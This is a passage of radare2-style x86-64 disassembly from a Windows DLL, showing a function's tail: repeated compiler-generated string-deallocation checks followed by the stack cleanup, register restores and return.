cmp rdx, 0x1000
jb 0x1800024b9
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x3c0]
cmp rax, 0x10
jb 0x180002503
mov rcx, qword [rbp + 0x3a8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1800024fe
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x3a0]
cmp rax, 0x10
jb 0x180002548
mov rcx, qword [rbp + 0x388]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180002543
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x380]
cmp rax, 0x10
jb 0x18000258d
mov rcx, qword [rbp + 0x368]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180002588
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x360]
cmp rax, 0x10
jb 0x1800025d2
mov rcx, qword [rbp + 0x348]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1800025cd
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x340]
cmp rax, 0x10
jb 0x180002617
mov rcx, qword [rbp + 0x328]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180002612
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x320]
cmp rax, 0x10
jb 0x18000265c
mov rcx, qword [rbp + 0x308]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180002657
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x300]
cmp rax, 0x10
jb 0x1800026a1
mov rcx, qword [rbp + 0x2e8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18000269c
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x2e0]
cmp rax, 0x10
jb 0x1800026e6
mov rcx, qword [rbp + 0x2c8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1800026e1
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x2c0]
cmp rax, 0x10
jb 0x18000272b
mov rcx, qword [rbp + 0x2a8]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180002726
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x2a0]
cmp rax, 0x10
jb 0x180002770
mov rcx, qword [rbp + 0x288]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x18000276b
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x280]
cmp rax, 0x10
jb 0x1800027b5
mov rcx, qword [rbp + 0x268]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1800027b0
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x260]
cmp rax, 0x10
jb 0x1800027f6
mov rcx, qword [rbp + 0x248]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x1800027f1
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov rax, qword [rbp + 0x240]
cmp rax, 0x10
jb 0x180002837
mov rcx, qword [rbp + 0x228]
lea rdx, [rax + 1]
cmp rdx, 0x1000
jb 0x180002832
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x18000284d
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.180005278
mov eax, esi
add rsp, 0x798
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.18000daf8
int3